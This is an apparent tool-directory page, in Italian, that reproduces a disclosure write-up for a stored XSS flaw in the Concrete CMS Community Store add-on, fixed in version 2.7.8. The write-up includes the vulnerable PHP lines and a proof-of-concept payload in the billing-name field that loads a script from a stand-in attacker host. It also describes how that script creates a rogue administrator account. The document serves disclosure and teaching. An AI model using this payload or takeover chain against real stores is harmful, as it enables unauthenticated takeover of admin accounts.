Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-93659-writeup — XSS memorizzato in Concrete CMS Community Store porta alla compromissione della dashboard di amministrazione | Kitploit
Strumenti/GitHubGitHub/prince325/cve-2026-93659-writeup
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e FormazioneRisorse Curate
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

XSS memorizzato in Concrete CMS Community Store porta alla compromissione della dashboard di amministrazione

Vedi Repository
14h 59m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-93659: XSS memorizzato in Concrete CMS Community Store che porta alla compromissione della dashboard di amministrazione

Riepilogo

CVECVE-2026-93659
Componenteconcretecms-community-store/community_store
TipoCross-Site Scripting memorizzato (CWE-79)
GravitàCVSS v4.0 9.3 Critico / v3.1 8.7 Alto
AffettoTutte le versioni precedenti alla 2.7.8
Corretto in2.7.8
RiconoscimentoPrince Edem Fiagbedzi (scopritore)

Community Store, un add-on e-commerce open-source per Concrete CMS, memorizzava i campi dell'ordine forniti dal cliente senza sanificarli e li renderizzava senza escaping HTML in quattro viste rivolte all'amministratore. Qualsiasi visitatore non autenticato poteva effettuare un ordine con un payload script in un campo come il nome di fatturazione, e il payload veniva eseguito all'interno della sessione autenticata della dashboard di un gestore del negozio la volta successiva in cui questi apriva quell'ordine, abbastanza per creare un account amministratore fraudolento o esfiltrare i dati di sessione.

Cosa è affetto

Ogni ordine porta con sé campi forniti dal cliente: nome, cognome, email e telefono di fatturazione/spedizione. Quei campi vengono memorizzati così come sono e renderizzati in quattro punti che un gestore del negozio consulta abitualmente:

  • la vista ordine dell'amministratore (single_pages/dashboard/store/orders.php)
  • la ricevuta d'ordine stampabile (elements/order_slip.php)
  • il report delle vendite (single_pages/dashboard/store/reports/*.php)
  • la pagina di conferma del checkout rivolta al cliente (single_pages/checkout/complete.php)

Fondamentalmente, effettuare un ordine non richiede alcun account. L'impostazione del checkout come ospite di Community Store è predefinita su always, impostata così dall'installer del pacchetto stesso su ogni installazione nuova, non qualcosa che l'operatore del negozio debba attivare. Quindi non è un bug che richiede un negozio mal configurato; è sfruttabile contro un'installazione predefinita, pronta all'uso, senza credenziali richieste.

Mitigazione

Aggiornare Community Store alla versione 2.7.8 o successiva. La correzione aggiunge un corretto escaping dell'output in tutti e quattro i punti di renderizzazione affetti. Non esiste una soluzione alternativa a livello di configurazione se non l'aggiornamento, poiché il comportamento vulnerabile è l'escaping stesso, non un'opzione.

Dettagli tecnici

Nessuno dei quattro punti di renderizzazione effettuava l'escaping dei campi controllati dal cliente. Una riga rappresentativa dalla vista ordine dell'amministratore:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Nessuna chiamata a h(), l'helper standard di escaping dell'output di Concrete, da nessuna parte nelle vicinanze, anche se lo stesso file usava h() correttamente a poche righe di distanza per altri valori. La validazione dell'input non era migliore: l'unico controllo applicato a questi campi era un limite di lunghezza (1-255 caratteri), nulla che rimuovesse o rifiutasse l'HTML.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Un payload <script> sotto i 255 caratteri nel campo del nome di fatturazione supera la validazione intatto, viene memorizzato e successivamente renderizzato senza escaping ovunque un amministratore consulti l'ordine.

Il valore predefinito del checkout come ospite è impostato direttamente nell'installer:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

Il controller del checkout forza il login solo quando quell'impostazione è off (o option senza flag ospite), e con il valore predefinito installato, quel ramo non viene mai attivato.

Proof of Concept

Testato contro Community Store v2.7.7 su Concrete CMS 9.5.2 (laboratorio Docker self-hosted, PHP 8.3). Payload inviato come un normale checkout da ospite, senza alcuna autenticazione:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. L'attaccante invia un checkout dall'aspetto normale con il payload sopra. Nessun account, nessuna sessione, nessun cookie.
  2. Un gestore del negozio apre Dashboard > Store > Orders e visualizza l'ordine (il payload si attiva allo stesso modo dalla ricevuta d'ordine, dal report delle vendite o dall'email di conferma del cliente stesso; uno qualsiasi dei quattro percorsi di renderizzazione senza escaping funziona).
  3. Lo script viene eseguito con la sessione autenticata del gestore del negozio e il token CSRF. Per confermare un impatto reale e non solo un alert box, ho ospitato io stesso il payload, come farebbe un attaccante esterno, e l'ho usato per inviare programmaticamente il modulo "aggiungi amministratore" dall'interno di quella sessione, trasformando un singolo ordine malevolo in una completa compromissione dell'account amministratore.

Cronologia della divulgazione

  • Segnalato al maintainer tramite un advisory di sicurezza privato su GitHub
  • Correzione rilasciata da Ryan Hewitt come commit 2a802d6, che aggiunge l'escaping h() a tutti e quattro i punti di renderizzazione affetti
  • Correzione inclusa nella release v2.7.8
  • CVE-2026-93659 pubblicato tramite VulnCheck come CNA, con riconoscimento a me come scopritore

Considerazioni finali

  • L'escaping dell'output deve essere applicato in modo coerente su ogni percorso di renderizzazione per un dato valore, non solo su quelli ovvi. Questo bug è rimasto presente per anni perché tre dei quattro punti di renderizzazione non sono stati apparentemente mai rivisti dopo che il quarto era stato gestito correttamente.
  • "Richiede un account" non è un presupposto sicuro su cui costruire un modello di minaccia per un add-on con accesso ospite configurabile. Verificare il valore predefinito effettivamente distribuito, non la configurazione teoricamente sicura.
  • Gli add-on di marketplace/community per le piattaforme CMS più diffuse sono un buon punto di partenza per il bug hunting: base di installazioni reale, genuinamente meno verificati rispetto al core.

Riferimenti

  • CVE-2026-93659
  • Commit di correzione 2a802d6
  • Note di rilascio v2.7.8
  • Repository di Community Store
Scarica lo strumento